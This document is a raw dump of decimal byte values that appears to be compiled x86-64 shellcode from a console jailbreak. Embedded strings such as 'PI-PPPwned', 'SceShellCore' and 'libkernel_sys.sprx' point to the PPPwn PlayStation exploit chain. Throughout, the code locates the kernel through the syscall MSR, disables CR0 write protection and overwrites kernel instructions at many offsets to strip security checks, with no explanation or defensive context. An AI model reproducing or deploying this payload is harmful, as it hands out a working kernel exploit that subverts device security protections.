137,230,76,137,239,72,141,131,160,239,47,0,72,129,195,80,195,47,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,80,85,1,0,72,141,144,32,84,1,0,72,137,76,36,104,72,141,136,128,1,3,0,72,5,48,216,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,96,171,71,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,160,109,85,1,72,141,133,112,104,29,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,176,39,0,0,0,116,24,80,255,21,167,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,128,232,21,2,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,64,150,26,0,72,141,168,16,103,208,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,16,73,86,1,0,0,0,0,49,246,102,199,131,196,35,69,0,235,76,72,137,239,102,199,131,48,154,2,0,49,192,186,0,64,0,0,198,131,50,154,2,0,195,198,131,125,177,13,0,55,198,131,128,177,13,0,55,199,131,255,25,0,0,184,0,0,0,198,131,3,26,0,0,0,198,131,172,84,23,0,7,198,131,180,84,23,0,7,102,199,131,71,250,40,0,144,144,102,199,131,83,250,40,0,144,144,198,131,85,250,40,0,144,102,199,131,82,249,40,0,144,144,102,199,131,94,249,40,0,144,144,198,131,96,249,40,0,144,102,199,131,243,254,40,0,144,144,102,199,131,255,254,40,0,144,144,198,131,1,255,40,0,144,102,199,131,48,255,40,0,144,144,198,131,13,248,40,0,235,199,131,13,29,54,0,144,144,144,144,102,199,131,17,29,54,0,144,144,199,131,207,33,54,0,233,124,2,0,198,131,211,33,54,0,0,199,131,108,207,55,0,72,49,192,144,198,131,112,207,55,0,144,199,131,166,242,61,0,144,144,144,144,102,199,131,170,242,61,0,144,144,199,131,200,20,48,0,144,144,144,144,102,199,131,204,20,48,0,144,144,102,199,131,160,217,109,0,49,192,198,131,162,217,109,0,195,102,199,131,64,129,102,0,176,1,198,131,66,129,102,0,195,102,199,131,112,129,102,0,176,1,198,131,114,129,102,0,195,102,199,131,39,248,38,0,235,59,199,131,167,113,2,0,144,144,144,144,102,199,131,171,113,2,0,144,144,199,131,133,99,7,0,144,144,144,144,102,199,131,137,99,7,0,144,144,102,199,131,18,253,40,0,144,144,102,199,131,33,253,40,0,144,144,199,131,34,243,79,0,0,0,0,0,199,131,156,5,80,0,0,0,0,0,255,21,103,37,0,0,76,137,234,76,137,230,72,137,239,255,21,80,37,0,0,198,131,71,152,26,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,71,152,26,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,130,34,0,0,72,137,229,49,192,72,137,239,255,21,192,36,0,0,72,137,238,191,222,0,0,0,255,21,170,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,49,34,0,0,72,137,68,36,8,49,192,255,21,148,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,112,36,0,0,68,139,32,76,141,45,253,33,0,0,76,137,239,72,141,45,9,34,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,245,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,162,33,0,0,72,131,236,16,72,199,5,174,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,135,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,135,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,112,35,0,0,72,141,53,131,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,116,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,106,33,0,0,255,21,33,35,0,0,72,141,21,18,35,0,0,72,141,53,110,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,241,34,0,0,72,141,53,92,33,0,0,232,10,255,255,255,137,239,93,72,141,21,211,34,0,0,72,141,53,77,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,63,33,0,0,69,49,201,80,69,49,192,255,21,193,34,0,0,89,72,141,21,153,34,0,0,137,199,72,141,53,71,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,103,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,47,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,192,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,177,32,0,0,72,139,53,58,32,0,0,76,137,247,49,210,255,21,175,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,205,31,0,0,72,139,53,14,32,0,0,76,137,247,255,21,125,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,66,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,219,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,184,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,145,31,0,0,72,141,5,234,27,0,0,72,137,132,36,144,0,0,0,72,141,5,91,27,0,0,72,137,132,36,152,0,0,0,72,141,5,204,26,0,0,72,137,132,36,160,0,0,0,72,141,5,61,26,0,0,72,137,132,36,168,0,0,0,72,141,5,174,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,206,30,0,0,49,210,72,137,239,255,21,67,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,113,30,0,0,72,139,53,170,30,0,0,72,137,239,65,137,199,255,21,22,31,0,0,69,133,255,15,133,217,1,0,0,72,139,61,182,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,37,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,200,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,28,30,0,0,49,210,72,137,239,255,21,145,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,105,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,143,24,0,0,76,137,214,76,137,215,255,21,139,29,0,0,72,139,53,212,29,0,0,72,137,239,137,68,36,16,255,21,63,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,6,30,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,107,29,0,0,49,210,72,137,239,255,21,224,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,184,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,227,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,218,28,0,0,72,139,53,35,29,0,0,72,137,239,65,137,198,255,21,143,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,140,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,116,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,91,28,0,0,72,139,61,252,28,0,0,255,21,110,29,0,0,235,16,72,139,61,237,28,0,0,69,49,228,255,21,92,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,201,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,36,29,0,0,65,137,196,72,139,5,146,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,115,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,39,28,0,0,72,141,115,12,186,32,0,0,0,255,21,120,28,0,0,72,139,5,9,28,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,125,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,199,27,0,0,49,210,72,137,239,255,21,60,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,98,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,58,27,0,0,133,192,117,3,65,137,196,72,139,53,132,27,0,0,72,137,239,255,21,243,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,189,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,117,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,89,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,48,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,213,103,102,0,41,202,137,144,17,102,102,0,72,141,21,214,254,255,255,129,234,163,117,102,0,41,202,137,144,223,115,102,0,72,141,21,73,249,255,255,129,234,138,228,99,0,41,202,137,144,198,226,99,0,72,141,21,146,253,255,255,129,234,2,77,100,0,41,202,137,144,62,75,100,0,72,141,21,17,250,255,255,68,141,130,164,104,146,255,129,234,141,153,109,0,65,41,200,41,202,68,137,128,152,149,109,0,137,144,201,151,109,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,161,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,89,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,176,25,0,0,65,188,12,0,0,0,72,139,53,171,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,216,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,148,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,132,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,200,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,93,25,0,0,139,68,36,8,76,137,247,72,139,53,39,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,95,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,124,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,208,21,0,0,72,137,124,36,8,76,137,230,255,21,2,25,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,196,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,67,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,244,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,131,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,86,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,104,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,208,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,29,20,0,0,255,21,31,23,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,255,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,133,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,128,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,241,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,169,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,115,166,101,0,41,209,137,136,175,164,101,0,72,141,13,36,251,255,255,68,141,129,245,81,154,255,129,233,238,186,101,0,41,209,65,41,208,137,136,42,185,101,0,72,141,13,91,252,255,255,129,233,2,129,101,0,68,137,128,71,172,101,0,41,209,137,136,62,127,101,0,72,141,13,90,254,255,255,129,233,77,141,101,0,41,209,137,136,137,139,101,0,72,141,13,222,251,255,255,129,233,33,165,101,0,41,209,137,136,93,163,101,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,122,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,104,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,246,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,156,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,125,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,24,18,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,74,18,0,0,72,137,223,255,21,177,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,130,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,89,17,0,0,233,186,0,0,0,255,21,70,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,20,17,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,11,17,0,0,72,137,239,255,21,18,17,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,208,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,147,16,0,0,72,137,239,255,21,154,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,224,107,85,1,72,137,21,193,16,0,0,72,141,144,8,142,90,1,72,137,21,171,16,0,0,72,141,144,104,198,19,2,72,137,21,149,16,0,0,72,141,144,136,36,102,2,72,137,21,127,16,0,0,72,141,144,128,190,103,2,72,137,21,105,16,0,0,72,141,144,120,64,104,2,72,137,21,83,16,0,0,72,141,144,136,64,104,2,72,137,21,61,16,0,0,72,141,144,64,126,104,2,72,137,21,39,16,0,0,72,141,144,72,134,104,2,72,137,21,17,16,0,0,72,141,144,64,7,104,2,72,137,21,251,15,0,0,72,141,144,128,33,18,1,72,137,21,229,15,0,0,72,141,144,144,208,49,0,72,137,21,143,16,0,0,72,141,144,64,20,13,0,72,137,21,121,16,0,0,72,141,144,0,22,13,0,72,137,21,99,16,0,0,72,141,144,192,100,29,0,72,137,21,77,16,0,0,72,141,144,176,102,29,0,72,137,21,55,16,0,0,72,141,144,144,0,59,0,72,137,21,33,16,0,0,72,141,144,160,80,74,0,72,137,21,11,16,0,0,72,141,144,144,81,74,0,72,137,21,245,15,0,0,72,141,144,64,246,40,0,72,137,21,223,15,0,0,72,141,144,48,213,8,0,72,137,21,201,15,0,0,72,141,144,0,138,46,0,72,137,21,179,15,0,0,72,141,144,128,245,38,0,72,137,21,157,15,0,0,72,141,144,176,52,13,0,72,137,21,135,15,0,0,72,141,144,192,75,54,0,72,137,21,25,15,0,0,72,141,144,224,159,100,0,72,137,21,3,15,0,0,72,141,144,208,190,101,0,72,137,21,237,14,0,0,72,141,144,32,199,101,0,72,137,21,215,14,0,0,72,141,144,144,90,101,0,72,137,21,193,14,0,0,72,141,144,48,191,101,0,72,137,21,171,14,0,0,72,141,144,64,239,99,0,72,137,21,109,14,0,0,72,141,144,192,60,100,0,72,137,21,71,14,0,0,72,141,144,96,57,100,0,72,137,21,65,14,0,0,72,141,144,32,226,99,0,72,137,21,59,14,0,0,72,141,144,48,53,100,0,72,137,21,21,14,0,0,72,141,144,128,72,99,0,72,137,21,47,14,0,0,72,141,144,48,22,21,0,72,137,21,65,14,0,0,72,141,144,80,246,33,0,72,137,21,35,14,0,0,72,141,144,128,248,33,0,72,137,21,13,14,0,0,72,141,144,128,69,39,0,72,137,21,15,14,0,0,72,141,144,80,17,54,0,72,137,21,145,13,0,0,72,141,144,208,192,47,0,72,137,21,171,13,0,0,72,141,144,0,191,47,0,72,137,21,149,13,0,0,72,141,144,112,194,47,0,72,137,21,127,13,0,0,72,141,144,192,194,47,0,72,5,176,200,47,0,72,137,21,99,13,0,0,72,137,5,84,13,0,0,195,243,15,30,250,80,49,192,